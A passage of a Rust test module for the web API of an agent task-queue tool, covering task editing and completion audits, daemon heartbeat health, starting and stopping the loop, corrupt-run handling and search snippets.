18656            "old".to_owned(),
18657            repo.clone(),
18658            Source::Human,
18659        );
18660        queue.put(&mut task).expect("file the draft");
18661        let url = format!("/api/queue/{}/edit", task.id);
18662
18663        let refused = f
18664            .post(
18665                &url,
18666                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18667            )
18668            .await;
18669        assert_eq!(refused.status, 409, "{}", refused.body);
18670        let msg = refused.json()["error"]
18671            .as_str()
18672            .unwrap_or_default()
18673            .to_owned();
18674        assert!(
18675            msg.contains("magi/ab12/A") && msg.contains("force"),
18676            "{msg}"
18677        );
18678        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18679
18680        let forced = f
18681            .post(
18682                &url,
18683                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18684            )
18685            .await;
18686        assert_eq!(forced.status, 200, "{}", forced.body);
18687    }
18688
18689    #[tokio::test]
18690    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18691        let f = Fixture::start().await;
18692        let queue = f.queue();
18693        let mut task = Task::new(
18694            "in flight".to_owned(),
18695            "do not touch".to_owned(),
18696            PathBuf::from("/repo/magi"),
18697            Source::Human,
18698        );
18699        task.start("20260902-140502-bbbb".to_owned());
18700        queue.put(&mut task).expect("file the task");
18701
18702        let res = f
18703            .post(
18704                &format!("/api/queue/{}/edit", task.id),
18705                Some(r#"{"title":"x","instruction":"y"}"#),
18706            )
18707            .await;
18708        assert_eq!(res.status, 400, "{}", res.body);
18709        assert!(
18710            res.json()["error"]
18711                .as_str()
18712                .is_some_and(|e| e.contains("running")),
18713            "{}",
18714            res.body
18715        );
18716        assert_eq!(
18717            queue.get(&task.id).expect("reload").instruction,
18718            "do not touch",
18719            "the refused edit must not change the file"
18720        );
18721    }
18722
18723    #[tokio::test]
18724    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18725        let f = Fixture::start().await;
18726        let queue = f.queue();
18727        let mut task = Task::new(
18728            "busy".to_owned(),
18729            "Running right now".to_owned(),
18730            PathBuf::from("/repo/magi"),
18731            Source::Human,
18732        );
18733        queue.put(&mut task).expect("file the task");
18734        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18735
18736        let priority = f
18737            .post(
18738                &format!("/api/queue/{}/priority", task.id),
18739                Some(r#"{"priority":9}"#),
18740            )
18741            .await;
18742        assert_eq!(priority.status, 409, "{}", priority.body);
18743
18744        let edit = f
18745            .post(
18746                &format!("/api/queue/{}/edit", task.id),
18747                Some(r#"{"title":"x","instruction":"y"}"#),
18748            )
18749            .await;
18750        assert_eq!(edit.status, 409, "{}", edit.body);
18751    }
18752
18753    #[tokio::test]
18754    async fn web_completion_distinguishes_missing_and_claimed_tasks() {
18755        let f = Fixture::start().await;
18756        let queue = f.queue();
18757        let mut task = Task::new(
18758            "claimed".into(),
18759            "leave unchanged".into(),
18760            f.home.path().into(),
18761            Source::Human,
18762        );
18763        queue.put(&mut task).unwrap();
18764        let _claim = queue.claim(&task.id).unwrap();
18765        for (action, body) in [("done", None), ("reopen", Some(r#"{"reason":"inspect"}"#))] {
18766            let missing = f.post(&format!("/api/queue/missing/{action}"), body).await;
18767            assert_eq!(missing.status, 404, "{}", missing.body);
18768            assert!(missing.json()["error"].as_str().unwrap().contains("task"));
18769
18770            let busy = f
18771                .post(&format!("/api/queue/{}/{action}", task.short()), body)
18772                .await;
18773            assert_eq!(busy.status, 409, "{}", busy.body);
18774            assert!(busy.json()["error"].as_str().unwrap().contains("claimed"));
18775        }
18776        let unchanged = queue.get(&task.id).unwrap();
18777        assert_eq!(unchanged.status, TaskStatus::Queued);
18778        assert!(unchanged.completion_history.is_empty());
18779    }
18780
18781    #[test]
18782    fn web_completion_reports_a_stale_commit_as_a_conflict() {
18783        let home = TempDir::new().unwrap();
18784        let queue = Queue::at(home.path().join("queue"));
18785        let mut current = Task::new(
18786            "stale".into(),
18787            "original".into(),
18788            home.path().into(),
18789            Source::Human,
18790        );
18791        queue.put(&mut current).unwrap();
18792        let expected = current.clone();
18793        current.instruction = "updated".into();
18794        queue.put(&mut current).unwrap();
18795
18796        let mut decision = expected.clone();
18797        decision.status = TaskStatus::Done;
18798        let error = queue
18799            .commit_completion(&mut decision, &expected)
18800            .unwrap_err();
18801        assert_eq!(ApiError::completion(error).status, StatusCode::CONFLICT);
18802        let saved = queue.get(&current.id).unwrap();
18803        assert_eq!(saved.status, TaskStatus::Queued);
18804        assert_eq!(saved.instruction, "updated");
18805    }
18806
18807    #[tokio::test]
18808    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18809        let f = Fixture::start().await;
18810        let queue = f.queue();
18811        let mut task = Task::new(
18812            "shipped by hand".to_owned(),
18813            "merged outside the loop".to_owned(),
18814            PathBuf::from("/repo/magi"),
18815            Source::Agent {
18816                run: "20260101-000000-b455".to_owned(),
18817                node: "implement".to_owned(),
18818            },
18819        );
18820        task.runs.push("20260101-000000-b455".to_owned());
18821        task.runs.push("20260101-000000-9af4".to_owned());
18822        queue.put(&mut task).expect("file the task");
18823        let created_at = task.created_at;
18824
18825        let done = f
18826            .post(
18827                &format!("/api/queue/{}/done", task.id),
18828                Some(r#"{"discard":true,"reason":"owner cancelled retained work"}"#),
18829            )
18830            .await;
18831        assert_eq!(done.status, 200, "{}", done.body);
18832        assert_eq!(done.json()["status_str"], "done");
18833
18834        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18835        assert_eq!(
18836            reloaded.runs,
18837            ["20260101-000000-b455", "20260101-000000-9af4"]
18838        );
18839        assert_eq!(
18840            reloaded.source,
18841            Source::Agent {
18842                run: "20260101-000000-b455".to_owned(),
18843                node: "implement".to_owned(),
18844            }
18845        );
18846        assert_eq!(reloaded.created_at, created_at);
18847        let event = reloaded
18848            .completion_history
18849            .last()
18850            .expect("completion audit");
18851        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
18852        assert!(event.discard);
18853        assert_eq!(
18854            event.reason.as_deref(),
18855            Some("owner cancelled retained work")
18856        );
18857        let detail = f.get(&format!("/api/queue/{}", task.id)).await;
18858        assert_eq!(
18859            detail.json()["completion_history"][0]["occurrence"],
18860            event.occurrence
18861        );
18862    }
18863
18864    #[tokio::test]
18865    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18866        // Explicit discard may close held work without a release; the current
18867        // hold clears while the completion audit preserves its prior status.
18868        let f = Fixture::start().await;
18869        let queue = f.queue();
18870        let mut task = Task::new(
18871            "landed while held".to_owned(),
18872            "x".to_owned(),
18873            PathBuf::from("/repo/magi"),
18874            Source::Human,
18875        );
18876        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18877        queue.put(&mut task).expect("file the held task");
18878
18879        let done = f
18880            .post(
18881                &format!("/api/queue/{}/done", task.id),
18882                Some(r#"{"discard":true,"reason":"no longer needed"}"#),
18883            )
18884            .await;
18885        assert_eq!(done.status, 200, "{}", done.body);
18886        assert_eq!(done.json()["status_str"], "done");
18887        assert!(
18888            done.json()["hold_reason"].is_null(),
18889            "a done task cannot still be waiting on something: {}",
18890            done.body
18891        );
18892    }
18893
18894    #[tokio::test]
18895    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18896        // `queue_done` is the phone's way to close a task the loop never
18897        // settled itself - after confirming a manual GitHub merge, say - and
18898        // that is just as much "this task's story is over" as the loop's own
18899        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18900        let f = Fixture::start().await;
18901        let queue = f.queue();
18902        let runs = f.runs();
18903        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18904        // The last attempt has to have actually landed for the earlier one
18905        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18906        // for the case where it didn't.
18907        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18908
18909        let mut task = Task::new(
18910            "landed by hand".to_owned(),
18911            "x".to_owned(),
18912            PathBuf::from("/repo/magi"),
18913            Source::Human,
18914        );
18915        task.runs.push("20260101-000000-doa1".to_owned());
18916        task.runs.push("20260101-000000-doa2".to_owned());
18917        queue.put(&mut task).expect("file the task");
18918
18919        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18920        assert_eq!(done.status, 200, "{}", done.body);
18921
18922        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18923            .expect("run still on disk under this fixture's own home");
18924        assert_eq!(
18925            reloaded_run.status,
18926            RunStatus::Superseded,
18927            "closing the task by hand must relabel the earlier blocked attempt exactly \
18928             like the loop's own settle path does"
18929        );
18930    }
18931
18932    #[tokio::test]
18933    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18934        // Intentional discard preserves unsuccessful runs as unsuccessful:
18935        // closing the task does not claim they were delivered or superseded.
18936        let f = Fixture::start().await;
18937        let queue = f.queue();
18938        let runs = f.runs();
18939        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18940        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18941
18942        let mut task = Task::new(
18943            "closed with nothing actually landed".to_owned(),
18944            "x".to_owned(),
18945            PathBuf::from("/repo/magi"),
18946            Source::Human,
18947        );
18948        task.runs.push("20260101-000000-dob1".to_owned());
18949        task.runs.push("20260101-000000-dob2".to_owned());
18950        queue.put(&mut task).expect("file the task");
18951
18952        let done = f
18953            .post(
18954                &format!("/api/queue/{}/done", task.id),
18955                Some(r#"{"discard":true,"reason":"stop this work"}"#),
18956            )
18957            .await;
18958        assert_eq!(done.status, 200, "{}", done.body);
18959
18960        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18961            .expect("run still on disk under this fixture's own home");
18962        assert_eq!(
18963            reloaded_run.status,
18964            RunStatus::Blocked,
18965            "the last recorded attempt never landed, so the earlier one must not be \
18966             relabelled as superseded by it"
18967        );
18968    }
18969
18970    #[tokio::test]
18971    async fn web_completion_requires_discard_and_reopens_to_held_with_an_audit() {
18972        let f = Fixture::start().await;
18973        let queue = f.queue();
18974        let mut task = Task::new(
18975            "unstarted".into(),
18976            "keep its history".into(),
18977            PathBuf::from("/repo/magi"),
18978            Source::Human,
18979        );
18980        write_run(&f.runs(), "20260101-000000-aud1", RunStatus::Failed);
18981        task.runs.push("20260101-000000-aud1".into());
18982        queue.put(&mut task).unwrap();
18983        let path = format!("/api/queue/{}/done", task.id);
18984        let refused = f.post(&path, None).await;
18985        assert_eq!(refused.status, 400, "{}", refused.body);
18986        let blank = f
18987            .post(&path, Some(r#"{"discard":true,"reason":" "}"#))
18988            .await;
18989        assert_eq!(blank.status, 400, "{}", blank.body);
18990        assert!(blank.body.contains("--discard requires a non-empty reason"));
18991        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Queued);
18992        assert!(queue.get(&task.id).unwrap().completion_history.is_empty());
18993        let closed = f
18994            .post(
18995                &path,
18996                Some(r#"{"discard":true,"reason":"owner stopped work"}"#),
18997            )
18998            .await;
18999        assert_eq!(closed.status, 200, "{}", closed.body);
19000        let reopen_path = format!("/api/queue/{}/reopen", task.id);
19001        let no_reason = f.post(&reopen_path, Some(r#"{"reason":" "}"#)).await;
19002        assert_eq!(no_reason.status, 400, "{}", no_reason.body);
19003        let reopened = f
19004            .post(&reopen_path, Some(r#"{"reason":"premature closure"}"#))
19005            .await;
19006        assert_eq!(reopened.status, 200, "{}", reopened.body);
19007        let saved = queue.get(&task.id).unwrap();
19008        assert_eq!(saved.status, TaskStatus::Held);
19009        assert_eq!(saved.completion_history.len(), 2);
19010        let event = &saved.completion_history[1];
19011        assert_eq!(event.action, crate::queue::CompletionAction::Reopen);
19012        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19013        assert_eq!(event.prior_status, TaskStatus::Done);
19014        assert_eq!(event.reason.as_deref(), Some("premature closure"));
19015    }
19016
19017    #[tokio::test]
19018    async fn unknown_ids_are_json_not_found_on_both_stores() {
19019        let f = Fixture::start().await;
19020
19021        let run = f.get("/api/runs/nosuchrun").await;
19022        let task = f.post("/api/queue/nosuchtask/hold", None).await;
19023
19024        assert_eq!(run.status, 404);
19025        assert_eq!(task.status, 404);
19026        assert!(
19027            run.json()["error"]
19028                .as_str()
19029                .is_some_and(|e| e.contains("run")),
19030            "the error names what was not found: {}",
19031            run.body
19032        );
19033        assert!(
19034            task.json()["error"]
19035                .as_str()
19036                .is_some_and(|e| e.contains("task")),
19037            "the error names what was not found: {}",
19038            task.body
19039        );
19040    }
19041
19042    #[tokio::test]
19043    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
19044        let f = Fixture::start().await;
19045
19046        let missing = f.get("/api/health").await.json();
19047        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
19048
19049        write_daemon(
19050            f.home.path(),
19051            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19052        );
19053        let stale = f.get("/api/health").await.json();
19054        assert_eq!(
19055            stale["daemon"]["running"], false,
19056            "a minute without a heartbeat is a dead daemon, not a busy one"
19057        );
19058        assert!(
19059            stale["daemon"]["stale_for_secs"]
19060                .as_i64()
19061                .is_some_and(|s| s >= 55),
19062            "staleness is reported so the UI can say how long: {stale}"
19063        );
19064
19065        write_daemon(f.home.path(), Timestamp::now());
19066        let fresh = f.get("/api/health").await.json();
19067        assert_eq!(fresh["daemon"]["running"], true);
19068        assert_eq!(fresh["daemon"]["idle"], false);
19069        assert_eq!(fresh["daemon"]["pid"], 4242);
19070        assert_eq!(fresh["daemon"]["completed"], 7);
19071        assert_eq!(
19072            fresh["daemon"]["current"][0]["task"],
19073            "20260902-140501-aaaa"
19074        );
19075        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
19076    }
19077
19078    #[tokio::test]
19079    async fn the_loop_is_not_running_until_something_starts_it() {
19080        let f = Fixture::start().await;
19081
19082        let view = f.get("/api/loop").await.json();
19083        assert_eq!(view["running"], false);
19084        assert_eq!(
19085            view["owned"], false,
19086            "nobody owns a loop that does not exist: {view}"
19087        );
19088        assert_eq!(view["stopping"], false);
19089        assert_eq!(view["last_error"], Value::Null);
19090        assert_eq!(view["daemon"]["running"], false);
19091        assert_eq!(
19092            view["repo"], "/repo/magi",
19093            "the repository a start would use, named before it is started"
19094        );
19095    }
19096
19097    #[tokio::test]
19098    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
19099        let f = Fixture::start().await;
19100
19101        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19102        assert_eq!(res.status, 200, "{}", res.body);
19103        let view = res.json();
19104        assert_eq!(view["running"], true);
19105        assert_eq!(
19106            view["owned"], true,
19107            "the loop the UI started is the UI's own to stop: {view}"
19108        );
19109        assert_eq!(
19110            view["merge"],
19111            Value::Null,
19112            "no override was given, so each repository's own config decides"
19113        );
19114
19115        // The same object from the route a waking phone polls first. Two
19116        // surfaces disagreeing about whether anything is running is exactly
19117        // the confusion this UI exists to remove.
19118        let health = f.get("/api/health").await.json();
19119        assert_eq!(health["loop"]["running"], true, "{health}");
19120        assert_eq!(health["loop"]["owned"], true, "{health}");
19121
19122        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19123    }
19124
19125    #[tokio::test]
19126    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
19127        let f = Fixture::start().await;
19128        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19129        assert_eq!(first.status, 200, "{}", first.body);
19130
19131        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19132        assert_eq!(
19133            again.status, 409,
19134            "two loops on one queue race for the same claims: {}",
19135            again.body
19136        );
19137        assert!(
19138            again.json()["error"]
19139                .as_str()
19140                .is_some_and(|e| e.contains("already running the loop")),
19141            "the refusal has to say why: {}",
19142            again.body
19143        );
19144        assert_eq!(
19145            f.get("/api/loop").await.json()["running"],
19146            true,
19147            "and the loop that was already running is untouched by it"
19148        );
19149
19150        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19151    }
19152
19153    #[tokio::test]
19154    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
19155        let f = Fixture::start().await;
19156        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19157
19158        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19159        assert_eq!(
19160            res.status, 200,
19161            "the answer must not wait for the loop: a run in flight is tens of \
19162             minutes and the operator is holding a phone: {}",
19163            res.body
19164        );
19165
19166        let view = settled(&f, |v| v["running"] == false).await;
19167        assert_eq!(view["owned"], false);
19168        assert_eq!(
19169            view["stopping"], false,
19170            "a loop that has stopped is not still stopping: {view}"
19171        );
19172        assert_eq!(
19173            view["last_error"],
19174            Value::Null,
19175            "a loop that was asked to stop did not fail: {view}"
19176        );
19177
19178        // Idempotent, because the operator cannot tell a slow stop from a lost
19179        // one and will press it again.
19180        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19181        assert_eq!(twice.status, 200, "{}", twice.body);
19182    }
19183
19184    #[tokio::test]
19185    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
19186        let f = Fixture::start().await;
19187        // How the operator has been doing it: a `magi serve` of their own,
19188        // heartbeat fresh, in the same home this UI reads.
19189        write_daemon(f.home.path(), Timestamp::now());
19190
19191        let view = f.get("/api/loop").await.json();
19192        assert_eq!(view["running"], false, "not in this process: {view}");
19193        assert_eq!(view["owned"], false, "and not this process's to control");
19194        assert_eq!(
19195            view["daemon"]["running"], true,
19196            "but a loop is alive somewhere, which is what the UI must say"
19197        );
19198        assert_eq!(view["daemon"]["pid"], 4242);
19199
19200        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
19201            let res = f.post("/api/loop", Some(body)).await;
19202            assert_eq!(
19203                res.status, 409,
19204                "neither button may pretend to work on someone else's loop: {}",
19205                res.body
19206            );
19207            assert!(
19208                res.json()["error"]
19209                    .as_str()
19210                    .is_some_and(|e| e.contains("4242")),
19211                "the refusal has to name the process the operator must go to: {}",
19212                res.body
19213            );
19214        }
19215        assert_eq!(
19216            f.get("/api/loop").await.json()["running"],
19217            false,
19218            "and the refusal started nothing"
19219        );
19220    }
19221
19222    #[tokio::test]
19223    async fn a_stale_status_file_is_not_a_foreign_owner() {
19224        let f = Fixture::start().await;
19225        write_daemon(
19226            f.home.path(),
19227            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19228        );
19229
19230        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19231        assert_eq!(
19232            res.status, 200,
19233            "a daemon killed a minute ago must not lock the loop out of its \
19234             own home for good: {}",
19235            res.body
19236        );
19237        assert_eq!(res.json()["running"], true);
19238
19239        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19240    }
19241
19242    #[tokio::test]
19243    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19244        let f = Fixture::start().await;
19245        let before = f.get("/api/health").await.json()["loop_rev"]
19246            .as_u64()
19247            .expect("a loop revision");
19248
19249        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19250
19251        let after = f.get("/api/health").await.json()["loop_rev"]
19252            .as_u64()
19253            .expect("a loop revision");
19254        assert!(
19255            after > before,
19256            "the loop is in-process state, so this counter is the only thing \
19257             that tells a second device the first one started it: {before} -> \
19258             {after}"
19259        );
19260
19261        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19262    }
19263
19264    #[tokio::test]
19265    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19266        let f = Fixture::with_loop(launch_broken).await;
19267
19268        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19269        assert_eq!(
19270            res.status, 200,
19271            "starting it is not the failure: {}",
19272            res.body
19273        );
19274
19275        let view = settled(&f, |v| v["last_error"].is_string()).await;
19276        assert_eq!(
19277            view["running"], false,
19278            "a loop that died must not read as running, or the operator has \
19279             nothing to press: {view}"
19280        );
19281        assert_eq!(view["owned"], false);
19282        assert!(
19283            view["last_error"]
19284                .as_str()
19285                .is_some_and(|e| e.contains("read-only file system")),
19286            "the phone is where a loop that died at 3am is visible: {view}"
19287        );
19288
19289        // And it can be started again: the corpse was reaped, not left to
19290        // occupy the slot.
19291        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19292        assert_eq!(again.status, 200, "{}", again.body);
19293        assert!(
19294            again.json()["last_error"]
19295                .as_str()
19296                .is_none_or(|e| !e.contains("read-only file system")),
19297            "a fresh start does not keep showing why the last one died: {}",
19298            again.body
19299        );
19300    }
19301
19302    #[tokio::test]
19303    async fn a_newer_daemon_status_file_still_renders() {
19304        let f = Fixture::start().await;
19305        // A field this build has never heard of must not turn the status line
19306        // into a 500; that is the whole reason the reader is permissive.
19307        std::fs::write(
19308            f.home.path().join("daemon.json"),
19309            serde_json::json!({
19310                "schema": 2,
19311                "updated_at": Timestamp::now().to_string(),
19312                "idle": true,
19313                "surprise": { "nested": [1, 2, 3] },
19314            })
19315            .to_string(),
19316        )
19317        .expect("write daemon.json");
19318
19319        let health = f.get("/api/health").await;
19320
19321        assert_eq!(health.status, 200);
19322        assert_eq!(health.json()["daemon"]["running"], true);
19323    }
19324
19325    #[tokio::test]
19326    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19327        let f = Fixture::start().await;
19328        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19329        let broken = f.runs().join("20260902-140502-bad");
19330        std::fs::create_dir_all(&broken).expect("run dir");
19331        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19332
19333        let list = f.get("/api/runs").await;
19334        let detail = f.get("/api/runs/20260902-140502-bad").await;
19335
19336        assert_eq!(list.status, 200);
19337        let listed = list.json();
19338        let ids: Vec<&str> = listed
19339            .as_array()
19340            .expect("an array")
19341            .iter()
19342            .map(|r| r["id"].as_str().expect("an id"))
19343            .collect();
19344        assert_eq!(
19345            ids,
19346            vec!["20260902-140501-good"],
19347            "one unreadable run must not cost the operator the whole history"
19348        );
19349        assert_eq!(detail.status, 500);
19350        assert!(
19351            detail.json()["error"]
19352                .as_str()
19353                .is_some_and(|e| e.contains("run.json")),
19354            "the failure names the file to look at: {}",
19355            detail.body
19356        );
19357        // A skipped run has to be countable somewhere, or the UI shows an
19358        // empty history with nothing to explain it - which is exactly what a
19359        // directory full of older-schema runs looks like.
19360        let health = f.get("/api/health").await;
19361        assert_eq!(health.json()["runs_unreadable"], 1);
19362    }
19363
19364    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19365    #[tokio::test]
19366    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19367        let f = Fixture::start().await;
19368        let runs = f.runs();
19369        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19370        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19371        // Text three levels down, in a shape no current RunState has: an older
19372        // schema must still search.
19373        let path = runs.join("20260902-140502-bbbb").join("run.json");
19374        let mut v: serde_json::Value =
19375            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19376        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19377        std::fs::write(&path, v.to_string()).unwrap();
19378        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19379        std::fs::write(
19380            runs.join("20260902-140503-cccc").join("run.json"),
19381            "{ not json",
19382        )
19383        .unwrap();
19384
19385        let res = f.get("/api/search?scope=runs&q=quokka").await;
19386        assert_eq!(res.status, 200, "{}", res.body);
19387        let v = res.json();
19388        assert_eq!(v["total"], 1, "{v}");
19389        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19390        assert_eq!(v["hits"][0]["field"], "text");
19391        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19392        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19393        assert!(
19394            parts
19395                .iter()
19396                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19397            "{v}"
19398        );
19399        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19400        assert_eq!(
19401            flat, "The Quokka leaks across threads",
19402            "whitespace is collapsed"
19403        );
19404
19405        // Terms are ANDed, across different fields, case-insensitively.
19406        let both = f
19407            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19408            .await
19409            .json();
19410        assert_eq!(both["total"], 1, "{both}");
19411        let neither = f
19412            .get("/api/search?scope=runs&q=quokka%20zebra")
19413            .await
19414            .json();
19415        assert_eq!(neither["total"], 0, "{neither}");
19416        // Everything in the task statement is reachable, not only the row text.
19417        let stmt = f
19418            .get("/api/search?scope=runs&q=mobile%20first")
19419            .await
19420            .json();
19421        assert_eq!(stmt["total"], 2, "{stmt}");
19422        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19423        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19424    }
19425
19426    #[test]
19427    fn snippet_ignores_terms_longer_than_the_field() {
19428        let terms = ["ok".to_owned(), "elephant".to_owned()];
19429        let parts = snippet_of("ok", &terms);
19430        assert_eq!(
19431            parts,
19432            vec![SnippetPart {
19433                text: "ok".to_owned(),
19434                hit: true
19435            }]
19436        );
19437    }
19438
19439    #[test]
19440    fn snippet_marks_matches_longer_than_the_window() {
19441        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19442        let hit_len = |parts: &[SnippetPart]| -> usize {
19443            parts
19444                .iter()
19445                .filter(|p| p.hit)
19446                .map(|p| p.text.chars().count())
19447                .sum()
19448        };
19449        let total =
19450            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19451
19452        let long = "a".repeat(120);
19453        let parts = snippet_of(&long, std::slice::from_ref(&long));
19454        assert!(hit_len(&parts) > 0, "{parts:?}");
19455        assert!(total(&parts) <= cap);
19456
19457        let ja = "あ".repeat(130);
19458        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19459        assert!(hit_len(&parts) > 0, "{parts:?}");
19460        assert!(total(&parts) <= cap);
19461
19462        // A short hit, then one straddling the window's end.
19463        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19464        let term = format!("ab{}", "c".repeat(100));
19465        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19466        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19467        assert!(total(&parts) <= cap);
19468
19469        // Only the head matches: not highlighted.
19470        let text = format!("{}z", "a".repeat(119));
19471        let parts = snippet_of(&text, &["a".repeat(120)]);
19472        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19473    }
19474
19475    #[tokio::test]
19476    async fn search_caps_hits_and_snippet_length() {
19477        let f = Fixture::start().await;
19478        let runs = f.runs();
19479        for n in 0..(SEARCH_MAX_HITS + 5) {
19480            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19481        }
19482        let v = f.get("/api/search?scope=runs&q=web").await.json();
19483        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19484        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19485        assert_eq!(v["truncated"], true);
19486        // Every listed run hit carries its list row for the page's filters.
19487        assert!(
19488            v["hits"]
19489                .as_array()
19490                .unwrap()
19491                .iter()
19492                .all(|h| h["run"]["status"] == "merged")
19493        );
19494
19495        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19496        let parts = snippet_of(&long, &["needle".to_owned()]);
19497        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19498        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19499        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19500    }
19501
19502    #[tokio::test]
19503    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19504        let f = Fixture::start().await;
19505        let queue = f.queue();
19506        let mut t = Task::new(
19507            "short title".to_owned(),
19508            "line one\nthe hidden Armadillo detail".to_owned(),
19509            PathBuf::from("/repo/magi"),
19510            Source::Agent {
19511                run: "r1".to_owned(),
19512                node: "chat".to_owned(),
19513            },
19514        );
19515        t.last_error = Some("disk full on /tmp".to_owned());
19516        queue.put(&mut t).expect("file the task");
19517
19518        for (q, want) in [
19519            ("armadillo", 1),
19520            ("disk%20FULL", 1),
19521            ("chat", 1),
19522            ("queued", 1),
19523            ("short%20nothing", 0),
19524        ] {
19525            let v = f
19526                .get(&format!("/api/search?scope=tasks&q={q}"))
19527                .await
19528                .json();
19529            assert_eq!(v["total"], want, "{q}: {v}");
19530        }
19531        for bad in [
19532            "/api/search?scope=tasks&q=",
19533            "/api/search?scope=tasks&q=%20",
19534            "/api/search?scope=chats&q=",
19535            "/api/search?scope=chats&q=%20",
19536            "/api/search?scope=nope&q=a",
19537            "/api/search?q=a",
19538        ] {
19539            assert_eq!(f.get(bad).await.status, 400, "{bad}");
19540        }
19541    }
19542
19543    /// Write one conversation file the way the store reads it back.
19544    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19545        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19546            .expect("seat value");
19547        let turns: Vec<serde_json::Value> = turns
19548            .iter()
19549            .map(|(who, body)| {
19550                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19551            })
19552            .collect();
19553        let doc = serde_json::json!({
19554            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19555            "status": status, "turns": turns,
19556            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19557            "seat": seat,
19558        });
19559        let dir = f.home.path().join("talks");
19560        std::fs::create_dir_all(&dir).expect("talks dir");
19561        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19562    }
19563
19564    #[test]
